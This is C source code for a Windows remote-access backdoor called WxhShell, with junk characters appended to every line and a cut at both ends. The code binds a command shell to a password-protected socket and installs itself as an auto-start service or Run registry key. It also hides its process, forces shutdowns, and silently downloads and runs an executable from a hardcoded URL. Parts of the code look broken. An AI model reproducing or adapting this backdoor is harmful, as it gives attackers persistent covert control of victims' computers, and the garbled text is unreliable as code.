    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  [@3.dd  
    if(Boot(SHUTDOWN)) ]US!3R^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AM#s2.@  
    else { :QHh;TIG=<  
    closesocket(wsh); ,g3n/'rP%  
    ExitThread(0); !/! Fc'A  
    } E8wkqZN  
    break; L$"pk{'  
    } a] 6d hQ`  
  // 获取shell e? |4O< @  
  case 's': { !CY*SGO  
    CmdShell(wsh); W'Y(@  
    closesocket(wsh); (h[. Ie  
    ExitThread(0); cK\?wZ| Y  
    break; e5"5 U7  
  } H|MAbx 7  
  // 退出 b&d4(dk  
  case 'x': { *iyc,f^w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jR+k x:+  
    CloseIt(wsh); NSR][h_  
    break; #BgiDLh  
    } +CXq41g"c  
  // 离开 {d)L0KXK  
  case 'q': { V^>< =DNE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hq?dqg'%~  
    closesocket(wsh); g:6 `1C  
    WSACleanup(); ;RQ}OCz9}8  
    exit(1); u?>8`]r  
    break; 64<*\z_  
        } q$`>[&I~)  
  }  9/I xh?  
  } Sw?EF8}[  
wS >S\,LV  
  // 提示信息 [L ' >  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6JR FYgI  
} ivt ~ S  
  } ZXIz.GFy+  
",Fvv  
  return; Sogt?]HB$  
} `_]UlI_h  
8.7lc2aX  
// shell模块句柄 \>{;,f  
int CmdShell(SOCKET sock) +=nWB=iCb  
{ ` 7?EE1o  
STARTUPINFO si; Q~rE+?n9 F  
ZeroMemory(&si,sizeof(si)); #>sI XY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u% =2g'+)_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8_O?#JYi  
PROCESS_INFORMATION ProcessInfo; HXPq+  
char cmdline[]="cmd"; R+=wSG]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YTr+"\CkA  
  return 0; am7~  
} yb0Mn*X+ N  
P{: 5i%qC  
// 自身启动模式 Wd ga(8t  
int StartFromService(void) b d C  
{ 8,e%=7h_e  
typedef struct dOKe}?}==  
{ Q|U [|U  
  DWORD ExitStatus; T {=&>pNK[  
  DWORD PebBaseAddress; @%fL*^yr;C  
  DWORD AffinityMask; 6* 0vUy*"  
  DWORD BasePriority; >Nx4 +|  
  ULONG UniqueProcessId; p9S>H  
  ULONG InheritedFromUniqueProcessId; [| N73m,&  
}   PROCESS_BASIC_INFORMATION; !\^W*nQ>l  
dx$+,R~y  
PROCNTQSIP NtQueryInformationProcess; O]j<$GG!  
d b *J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #3A|Z=,5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [N<rPHT  
+c__U Qx  
  HANDLE             hProcess; L@ejFXQg  
  PROCESS_BASIC_INFORMATION pbi; \Xr*1DI<  
jx ?"`;a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IlB*JJnl  
  if(NULL == hInst ) return 0; vkeZ!klYB  
o1-_BlZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #qK5i1<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \: B))y?}d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q5sJ|]Bc  
yW"[}L h4  
  if (!NtQueryInformationProcess) return 0; azO7C*_  
%'S[f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b"B:DDw00  
  if(!hProcess) return 0; -MFePpUt  
e_cK#9+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BKgCuz:y  
D6C h6i5$  
  CloseHandle(hProcess); BPVOBL@   
.nEiYS|T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  k)W&ZY  
if(hProcess==NULL) return 0; Q8.LlE999  
k dhwnO  
HMODULE hMod; 4Tb"+Y}  
char procName[255]; wti  
unsigned long cbNeeded; >5D;uTy u  
ViG>gMGv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \p]B8hLW  
#wZH.i #  
  CloseHandle(hProcess); n9R0f9:*  
8xkLfN|N=  
if(strstr(procName,"services")) return 1; // 以服务启动 Zq5~M bldh  
'u d[#@2  
  return 0; // 注册表启动 #Jr4LQ@A9  
} O{Z${TC[  
;82?ACCP  
// 主模块 0sB[]E|7[s  
int StartWxhshell(LPSTR lpCmdLine) a>Zp?*9  
{ sk AF6n  
  SOCKET wsl; {i}E)Np  
BOOL val=TRUE; k+Z2)j"  
  int port=0; [khXAf1{Q  
  struct sockaddr_in door; g}L>k}I?!W  
% iZM9Q&NC  
  if(wscfg.ws_autoins) Install(); : LT'#Q8  
TO G:N~  
port=atoi(lpCmdLine); !0F+qzGG7  
G^eXJusOv  
if(port<=0) port=wscfg.ws_port; KKWv V4u  
EBr?>hl  
  WSADATA data; ;V?d;O4u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pbw{EzM  
{-%8RSK=<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z%\&n0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?/my G{E  
  door.sin_family = AF_INET; 8pZOgh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bR8`Y(=F9b  
  door.sin_port = htons(port); NOKU2d4 G  
yqB!0) <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H8 xhE~'t  
closesocket(wsl); 0sTR`Xk  
return 1; qdxaP% p2  
} 2u+!7D!w$  
Wrh$`JC  
  if(listen(wsl,2) == INVALID_SOCKET) { ?0?3yD-!9  
closesocket(wsl); [1O{yPV3s  
return 1; X; 6=WqJj  
} ?GW}:'z  
  Wxhshell(wsl); ;~'&m  
  WSACleanup(); vhcp[=e :  
M}Xf<:g)  
return 0; [AA}P/iW  
VKf&}u/  
} /'b7q y  
d[XMQX  
// 以NT服务方式启动 "\ =Phqw   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cLw|[!5:  
{ `*D"=5G+  
DWORD   status = 0; m;t&P58f  
  DWORD   specificError = 0xfffffff; +'nMy"j1  
1aCpeD4|)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q'TIN{\.{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &HtTh {  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o"_'cNAz  
  serviceStatus.dwWin32ExitCode     = 0; r4<aEj;l  
  serviceStatus.dwServiceSpecificExitCode = 0; 0m"Ni:KEf  
  serviceStatus.dwCheckPoint       = 0; `#vbV/sM  
  serviceStatus.dwWaitHint       = 0; NRgVNE  
NFKvgd@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;47z.i&T  
  if (hServiceStatusHandle==0) return; sx}S,aIU  
!&NrbiuN  
status = GetLastError(); Vjw u:M  
  if (status!=NO_ERROR) JbQY{z!  
{ -3guuT3x\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; * ^V?u  
    serviceStatus.dwCheckPoint       = 0; 5;,h8vW  
    serviceStatus.dwWaitHint       = 0; "/mt uU3rt  
    serviceStatus.dwWin32ExitCode     = status; CPMGsW^  
    serviceStatus.dwServiceSpecificExitCode = specificError; '4Fwh]Ee  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9y<h.T  
    return; -4zV yW S<  
  } ~"NuYM#@  
1hE{(onI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N_Kdi%q  
  serviceStatus.dwCheckPoint       = 0; Vzo< ma^  
  serviceStatus.dwWaitHint       = 0; ;BYuNQr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ra>2<  
} -e sQyLx  
-6~.;M 5  
// 处理NT服务事件,比如:启动、停止 P;mp)1C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =0!j"z=  
{ RZ;s_16GQ  
switch(fdwControl) Poa&htxe1  
{ S!+>{JyQ  
case SERVICE_CONTROL_STOP: y@I t#!u0  
  serviceStatus.dwWin32ExitCode = 0; o]<9wc:FZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a^pbBDi W  
  serviceStatus.dwCheckPoint   = 0;  bLAHVi<.  
  serviceStatus.dwWaitHint     = 0; 2#r4dr0  
  { :tI F*pC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0H]{,mVs  
  } /-G_0 A2wF  
  return; 9dBxCdpu  
case SERVICE_CONTROL_PAUSE: ,&qC R sw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eZN"t~\rX  
  break; "H<us?r{  
case SERVICE_CONTROL_CONTINUE: @un+y9m[C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S2_(lS+R  
  break; L+(ng  
case SERVICE_CONTROL_INTERROGATE: zsJermF,O  
  break; |ns?c0rM  
}; )>S,#_e*b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %W)pZN}  
} nSC2wTH!1  
F= %A9b_a  
// 标准应用程序主函数 ?Ve I lD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `fTM/"  
{ ,"XiI$Le  
+yHz7^6-5  
// 获取操作系统版本 c38XM]Jeq  
OsIsNt=GetOsVer(); 4=MjyH|[Jx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'A3skznX{  
H(rD*R[  
  // 从命令行安装 XNv2xuOcJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~~ rR< re  
!hhL",  
  // 下载执行文件 ~rJG4U  
if(wscfg.ws_downexe) { |E.BGdS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m<#12#D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5<R m{  
} [!-gb+L  
G0Qw& mqF  
if(!OsIsNt) {  1/2cb-V  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,<r&] eC  
HideProc(); UNff &E-  
StartWxhshell(lpCmdLine); <7`zc7c]#  
} Fu tS  
else Mjy:k|aY"  
  if(StartFromService()) a4=(z72xe  
  // 以服务方式启动 .8Bo5)q$a-  
  StartServiceCtrlDispatcher(DispatchTable); Zrr)<'!i  
else p2{7+m  
  // 普通方式启动 MA6 Vy  
  StartWxhshell(lpCmdLine); \/o$io,kV  
#c>GjUJ.w  
return 0; $t(v `,  
} ACdPF_Y]  
h%Nd89//  
hN &?x5aC>  
Bhd)# P  
=========================================== JHt U"  
y~@zfJ5/^  
EN2SI+  
9ziFjP+1  
^hmV?a:Y  
U`mX f#D  
" bIAE?D  
0f.j W O  
#include <stdio.h> <ak[`]  
#include <string.h> yJq<&g  
#include <windows.h> y]m: {  
#include <winsock2.h> AcPLJ!y  
#include <winsvc.h> Aj4 a-vd.  
#include <urlmon.h> `KFEzv  
8b)WOr6n  
#pragma comment (lib, "Ws2_32.lib")  JhFbze>  
#pragma comment (lib, "urlmon.lib") |JxVfX8^  
9Yv:6@.F  
#define MAX_USER   100 // 最大客户端连接数 VP~2F E  
#define BUF_SOCK   200 // sock buffer d?2ORr|m=  
#define KEY_BUFF   255 // 输入 buffer Cp6S2v I  
T8x)i\<  
#define REBOOT     0   // 重启 Og/aTR<;=  
#define SHUTDOWN   1   // 关机 $`E?=L`$  
q[,p#uJ]  
#define DEF_PORT   5000 // 监听端口 yu6{6 [  
O -1O@:}c  
#define REG_LEN     16   // 注册表键长度 J* *(7d  
#define SVC_LEN     80   // NT服务名长度 ~v.mbh  
vSH,fS-n  
// 从dll定义API Q'/sP 5Pj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d +D~NA[M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oLT#'42+H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L7-BuW}&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s)a-ky(  
6]?mjG6  
// wxhshell配置信息 3' i6<  
struct WSCFG { E1eGZ&&Gd  
  int ws_port;         // 监听端口 CO='[1"_5  
  char ws_passstr[REG_LEN]; // 口令 g Ed A hfx  
  int ws_autoins;       // 安装标记, 1=yes 0=no e0zP LU}  
  char ws_regname[REG_LEN]; // 注册表键名 pj$JA  
  char ws_svcname[REG_LEN]; // 服务名 &q-&%~E@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  AG@gOm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c>_ti+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )S g6B;CJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D_DwP$wSo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J:yv82  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wUv?;Y$C  
hG?y)g\A  
}; ]#)(D-i  
|Vx [  
// default Wxhshell configuration +'<P W+U$  
struct WSCFG wscfg={DEF_PORT, .gx^L=O:  
    "xuhuanlingzhe", da7"Q{f+  
    1, mqZH<.mn  
    "Wxhshell", hCcI]#S&  
    "Wxhshell", /iU<\+ H  
            "WxhShell Service", TTz=*t+D  
    "Wrsky Windows CmdShell Service", ]y_ :+SHc  
    "Please Input Your Password: ", Z-PB CU  
  1, '~D4%WKT  
  "http://www.wrsky.com/wxhshell.exe", $0_K&_5w~  
  "Wxhshell.exe" %Jt35j@Ee  
    }; yE8D^M|g  
!kovrvM6F  
// 消息定义模块 ba|xf@=&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K81X32Lm'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d`^3fr'.4A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4=L>  
char *msg_ws_ext="\n\rExit."; )D+BvJ Y"  
char *msg_ws_end="\n\rQuit."; $ZM'dIk?  
char *msg_ws_boot="\n\rReboot..."; #n>U7j9`O  
char *msg_ws_poff="\n\rShutdown..."; .G{cx=;  
char *msg_ws_down="\n\rSave to "; 3K &637  
?+t;\  
char *msg_ws_err="\n\rErr!"; ys9:";X;}  
char *msg_ws_ok="\n\rOK!"; >dl5^  
|>;PV4])(  
char ExeFile[MAX_PATH]; ,*|Q=  
int nUser = 0; 4$xVm,n|  
HANDLE handles[MAX_USER]; (U:-z=E#1  
int OsIsNt; I%5vI}  
t*IePz]/  
SERVICE_STATUS       serviceStatus; Lh[0B.g<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u cpU $+  
ywwA,9~  
// 函数声明 |Ea%nghl  
int Install(void); Bl b#h  
int Uninstall(void); 0/R;g~q@  
int DownloadFile(char *sURL, SOCKET wsh); f .O^R~,  
int Boot(int flag); Kb%Y%j  
void HideProc(void); =X R~I  
int GetOsVer(void); W=+n |1  
int Wxhshell(SOCKET wsl); @xWWN  
void TalkWithClient(void *cs); Bb/if:XS  
int CmdShell(SOCKET sock); cMY}Y [2c  
int StartFromService(void); rN}pi@  
int StartWxhshell(LPSTR lpCmdLine); & kC  
//63|;EEkl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g04^M (  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (47?lw &  
4Zbn8GpC  
// 数据结构和表定义 w}3N!jNDv  
SERVICE_TABLE_ENTRY DispatchTable[] = X _ZO)|  
{ D6bYg `  
{wscfg.ws_svcname, NTServiceMain}, R-Edht|{  
{NULL, NULL} syl7i>P  
}; W.j^L;  
w-K A~  
// 自我安装 *tqD:hiF  
int Install(void) [7I:Dm  
{ d A)T>  
  char svExeFile[MAX_PATH]; [G}dPXD  
  HKEY key; wn[)/*(,$(  
  strcpy(svExeFile,ExeFile); KQf WpHwfj  
p1UloG\  
// 如果是win9x系统,修改注册表设为自启动 a=MN:s?Fc0  
if(!OsIsNt) {  0s;~9>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xS|9Gk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _.s ,gX  
  RegCloseKey(key); Qt.*Z;Gs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s5*4<VxQN.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `%Ih'(ne  
  RegCloseKey(key); VIAq$iu7  
  return 0; EH844k8 p  
    } mjD^iu8?  
  } x=DxD&I!J  
} Bp^LLH  
else { : @|Rj_S;  
fI`Ez!w0  
// 如果是NT以上系统,安装为系统服务 ~@'wqGTp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +xYu@r%R  
if (schSCManager!=0) YS|Dw'%g /  
{ $Tbsre\MJ  
  SC_HANDLE schService = CreateService 5;)^o3X>  
  ( UT3Fi@  
  schSCManager, 0|AgmW_7 .  
  wscfg.ws_svcname, $mJv\;t  
  wscfg.ws_svcdisp, 7!J-/#!  
  SERVICE_ALL_ACCESS, Jqxd92 bI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B:"D)/\  
  SERVICE_AUTO_START, 7NvKp inQ  
  SERVICE_ERROR_NORMAL, gv67+Mf  
  svExeFile, `3\aX|4@  
  NULL, ("a@V8M`$F  
  NULL, T_*inPf  
  NULL, N@|<3R!N*e  
  NULL, [<XYU,{R  
  NULL r?DCR\Jq  
  ); 'l'3&.{Yfk  
  if (schService!=0) :ts3_-cr  
  { A+l(ew5Lw$  
  CloseServiceHandle(schService); FJ0I&FyWs  
  CloseServiceHandle(schSCManager); Jr5S8 c|"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9QU\J0c/  
  strcat(svExeFile,wscfg.ws_svcname); : #a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZxtO.U2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v< P0f"GH  
  RegCloseKey(key); ta?NO{*  
  return 0; `4K|L6  
    } F~Dof({:  
  } GQ1/pys  
  CloseServiceHandle(schSCManager); e=&~6bs1U  
} ~xqiasE#K  
} &PJ;B)b  
!.UE}^TV  
return 1; $`lWW6>P  
} W`x.qumN  
,7wYa&  
// 自我卸载 xKu#O H  
int Uninstall(void) znrO~OK  
{ {F<0e^*  
  HKEY key; 2Hd\>{*  
/l<(i+0  
if(!OsIsNt) { N}#Rw2Vl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I(M/ X/  
  RegDeleteValue(key,wscfg.ws_regname); |:C0_`M9  
  RegCloseKey(key); s)WA9PiC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~\am%r>  
  RegDeleteValue(key,wscfg.ws_regname); CU|E-XPW  
  RegCloseKey(key); ?>;b,^4  
  return 0; gGP6"|tc4  
  } ChK-L6  
} (xo`*Q,+  
} LAC&W;pJ"  
else { !yv>e7g^  
cAN!5?D\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :E-$:\V0}k  
if (schSCManager!=0) H4ie$/[$8  
{ $IQPB_:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *6yY>LW  
  if (schService!=0) fnq 3ic"V  
  { ZiZ@3O6  
  if(DeleteService(schService)!=0) { )h@PRDI_  
  CloseServiceHandle(schService); ?pZ"7kkD  
  CloseServiceHandle(schSCManager); _#V&rY&@  
  return 0; E3 % ~!ZC  
  } brmS J7  
  CloseServiceHandle(schService); \a+Q5g  
  } 8-@@QZ\N  
  CloseServiceHandle(schSCManager); *+rfRH]a  
} AO5&Y.A#  
} |tAkv  
P;.roD9  
return 1; s4|tWfZ  
} 9`Qa/Y!  
:!_l@=l  
// 从指定url下载文件 8gavcsVE[  
int DownloadFile(char *sURL, SOCKET wsh) PE5*]+lW.  
{ .F,l>wUNe  
  HRESULT hr; zg ,=A?  
char seps[]= "/"; "SN*hzs"]`  
char *token; AO8 #l YP?  
char *file; c>$d!IKCL  
char myURL[MAX_PATH]; ?1L<VL=b  
char myFILE[MAX_PATH]; _GkLspSaU  
rCF=m]1zxT  
strcpy(myURL,sURL); e.vt"eRB  
  token=strtok(myURL,seps); Fj`k3~tUw  
  while(token!=NULL) <( OHX3~  
  { /k/X[/WO  
    file=token; m}z6Bbis0  
  token=strtok(NULL,seps); |fKT@2(  
  } ^ ##j {h7  
I\TSVJk^Xi  
GetCurrentDirectory(MAX_PATH,myFILE); )jXKPLj  
strcat(myFILE, "\\"); :h(RS ;  
strcat(myFILE, file); i[[.1MnS  
  send(wsh,myFILE,strlen(myFILE),0); (nO2+@ !  
send(wsh,"...",3,0); ; =n}61  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ho$}#o  
  if(hr==S_OK) HWV A5E[`Y  
return 0; ogIu\kiZ  
else 1?BLL;[a8  
return 1; c1E{J <pZ  
Yeg<MrS4D  
} 5Xr})%L  
6/ 5c|  
// 系统电源模块 nl}LT/N  
int Boot(int flag) "*HM8\  
{ :|9vMM^$  
  HANDLE hToken; ;"cQ)=s9Y  
  TOKEN_PRIVILEGES tkp; @Y`Z3LiR$  
 p0W<K  
  if(OsIsNt) { S(CkA\[rz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SZXSVz0j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6:wk=#w  
    tkp.PrivilegeCount = 1; j_5&w Znq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L*4"D4V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gx$m"Jeq\  
if(flag==REBOOT) { d;<'28A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F5X9)9S  
  return 0; : j kO  
} G>"n6v'^d  
else { Pl=)eq YY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FS 5iUH+5  
  return 0; E{[Y8U1n  
} iDcTO}  
  } %Mj,\J!  
  else { aAe`o2Xs  
if(flag==REBOOT) { gs!'*U)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oUn+tu:  
  return 0; w2xD1oK~o  
} 5wW5 n5YS  
else { Sed 8Q-m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ej)7[  
  return 0; L{VnsY V  
} 4L:O0Ggz}  
} c$,1j%[)  
p@O Ip  
return 1;  omg#[  
} 4 .c1  
QOK,-  
// win9x进程隐藏模块 c $r"q :\  
void HideProc(void) E[#VWM I  
{ ]&H"EHC<$  
;%d<Uk?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I'BHNZO5tf  
  if ( hKernel != NULL ) TrzAgNt  
  { Io*H}$Gf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m#_Rv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i7- i!`<  
    FreeLibrary(hKernel); eCR^$z=c  
  } qpFxl  
=8#.=J[/  
return; ,mx\ -lWFy  
} |pS]zD  
aV7VbC  
// 获取操作系统版本 9[JUJ,#X'0  
int GetOsVer(void) JwxKWVpWv  
{ kJl^,q  
  OSVERSIONINFO winfo; ]VQd *~ -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a T(]  
  GetVersionEx(&winfo); &k,DAx`rN;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \"$P :Uv  
  return 1; ,9d]-CuP;  
  else *Sdx:G~gp  
  return 0; 9,~7,Py}  
} }wRm ~  
@gb W:  
// 客户端句柄模块 IV!`~\@  
int Wxhshell(SOCKET wsl) a9;KS>~bq  
{ yYGs] +  
  SOCKET wsh; )EB+(c~E  
  struct sockaddr_in client; vu@.;-2E%  
  DWORD myID; 'fl.&"/r  
{H(l"KuL  
  while(nUser<MAX_USER) .xwskzJ3  
{ pTi7Xy!Cw  
  int nSize=sizeof(client); 9tv,,I;iU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bwhH2^ !  
  if(wsh==INVALID_SOCKET) return 1; z H-a%$5  
MG=8`J-`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $365VTh"  
if(handles[nUser]==0) al}J^MJ  
  closesocket(wsh); sM MtU@<x  
else x5MS#c!7  
  nUser++; czIAx1R9  
  } e`b#,=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { rLgyrj$  
xE;O =mI  
  return 0; hsrf2Xw[  
} ^?H|RAp  
$m#^0%  
// 关闭 socket vVSDPlN;  
void CloseIt(SOCKET wsh) v=iiS}s  
{ Lfi6b%/z  
closesocket(wsh); iii|;v ]+  
nUser--; Z5(9=8hB/  
ExitThread(0); X-nC2[tu'W  
} ws9IO ?|&G  
X uE: dL?  
// 客户端请求句柄 1|4,jm$  
void TalkWithClient(void *cs) XfE9QA[  
{ R+NiIoa  
fWq*Op.]c  
  SOCKET wsh=(SOCKET)cs; V:L%GWU  
  char pwd[SVC_LEN]; DFWO5Y_  
  char cmd[KEY_BUFF]; bKmwXDv'  
char chr[1]; b9X*2pnWJ  
int i,j; aR6F%7gvz  
uU3A,-{-  
  while (nUser < MAX_USER) { ,.0bE 9\o  
7Q&-ObW  
if(wscfg.ws_passstr) { h-1?c\Qq:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =3(Auchl$Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F^bY]\-5  
  //ZeroMemory(pwd,KEY_BUFF); {*B0lr`  
      i=0; 2rT^OGw6  
  while(i<SVC_LEN) { wjl)yo$z  
Q*T 'tkp  
  // 设置超时 ,\v'%,:C  
  fd_set FdRead; D {Ol8:  
  struct timeval TimeOut; gep#o$P  
  FD_ZERO(&FdRead); >-N(o2j3  
  FD_SET(wsh,&FdRead); M{5AQzvs  
  TimeOut.tv_sec=8; ~x8nC%qPvq  
  TimeOut.tv_usec=0; vb]kh _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uEJ8Lmi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xA(z/%  
lh'S_p8g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  iiQn/%  
  pwd=chr[0]; -JgNujt#9  
  if(chr[0]==0xd || chr[0]==0xa) { M]r?m@)  
  pwd=0; =w+8q1!o  
  break; ISNL='%  
  } wxvi)|)  
  i++; FiiDmhu  
    } o:Kw<z,$H  
-&Xv,:'?  
  // 如果是非法用户,关闭 socket op9dYjG7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b*?u+tWP_  
} ?p@J7{a  
`5@F'tKQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uRko[W(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1`7zYW&L  
"QdK Md  
while(1) { To>,8E+GAb  
cp(qaa  
  ZeroMemory(cmd,KEY_BUFF); \PE;R.v_:  
HCN/|z1Xq  
      // 自动支持客户端 telnet标准   *z VN6wG{  
  j=0; qMJJBl  
  while(j<KEY_BUFF) { 6E}9uwQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wv3,% lN  
  cmd[j]=chr[0]; vO1; ;  
  if(chr[0]==0xa || chr[0]==0xd) { 6`CRT TJ7  
  cmd[j]=0; EWD^=VITL  
  break; _F%`7j  
  } swF{}S"  
  j++; P'U2hCif  
    } %BGg?&  
v,ssv{gU  
  // 下载文件 d{4;qM#  
  if(strstr(cmd,"http://")) { GHGyeqNM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iwJ_~   
  if(DownloadFile(cmd,wsh)) 2HFn\kjj.s  
